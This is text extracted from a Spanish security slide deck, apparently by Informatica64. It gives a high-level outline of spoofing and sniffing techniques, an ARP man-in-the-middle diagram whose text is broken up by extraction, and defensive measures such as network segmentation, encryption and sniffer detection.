![Page 83: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/83.jpg)
Tipos de técnicas de Spoofing
Spoofing ARP• Envenenamiento de conexiones.• Man in the Middle.
Spoofing IP • Rip Spoofing.• Hijacking.
Spoofing SMTP
Spoofing DNS• WebSpoofing.
![Page 84: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/84.jpg)
Técnicas de Sniffing
Capturan tráfico de red.
Necesitan que la señal física llegue al NIC.
En redes de difusión mediante concentradores todas las señales llegan a todos los participantes de la comunicación.
En redes conmutadas la comunicación se difunde en función de direcciones.• Switches utilizan dirección MAC.
![Page 85: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/85.jpg)
Nivel de Enlace: Spoofing ARP
• Suplantar identidades físicas.
•Saltar protecciones MAC.•Suplantar entidades en clientes DHCP.
•Suplantar routers de comunicación.
• Solo tiene sentido en comunicaciones locales.
![Page 86: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/86.jpg)
Dirección Física
• Tiene como objetivo definir un identificador único para cada dispositivo de red.
• Cuando una máquina quiere comunicarse con otra necesita conocer su dirección física.• Protocolo ARP
• No se utilizan servidores que almacenen registros del tipo: • Dirección MAC <-> Dirección IP.
• Cada equipo cuenta con una caché local donde almacena la información que conoce.
![Page 87: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/87.jpg)
Ataque ARP Man In The Middle
¿Quien tiene
1.1.1.2?
1.1.
1.2
esta
en
99:8
8:77
:66:
55:4
4
1.1.1.2 esta en 00:11:22:33:44:55:66
1.1.1.1
1.1.1.2
1.1
.1.1
esta
en
99:8
8:7
7:6
6:5
5:4
4
![Page 88: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/88.jpg)
Protección contra Envenenamiento
• Medidas preventivas.
• Control físico de la red.•Bloqueo de puntos de acceso.•Segmentación de red.
• Gestión de actualizaciones de seguridad.•Protección contra Exploits.•Protección contra troyanos.
![Page 89: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/89.jpg)
Protección contra Envenenamiento
Medidas preventivas.
• Cifrado de comunicaciones.IPSec.Cifrado a nivel de Aplicación:
• S/MIME. • SSL.
• Certificado de comunicaciones.
![Page 90: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/90.jpg)
Medidas reactivas.
Utilización de detectores de Sniffers.
• Utilizan test de funcionamiento anómalo. Test ICMP. Test DNS. Test ARP.
Sistemas de Detección de Intrusos
Protección contra Envenenamiento
![Page 91: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/91.jpg)
Frase vs. Passwords
●●●●●● ●●●●●● ●● ●●● ●●●● ●●●●●●● ●● ●●●●●●●●●●● ●● ●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
![Page 92: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/92.jpg)
Web MVPs
![Page 94: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/94.jpg)
Contacto
Chema [email protected]
Informatica64http://www.informatica64.com http://www.informatica64.com/hol.htmhttp://elladodelmal.blogspot.com [email protected] +34 91 226 82 08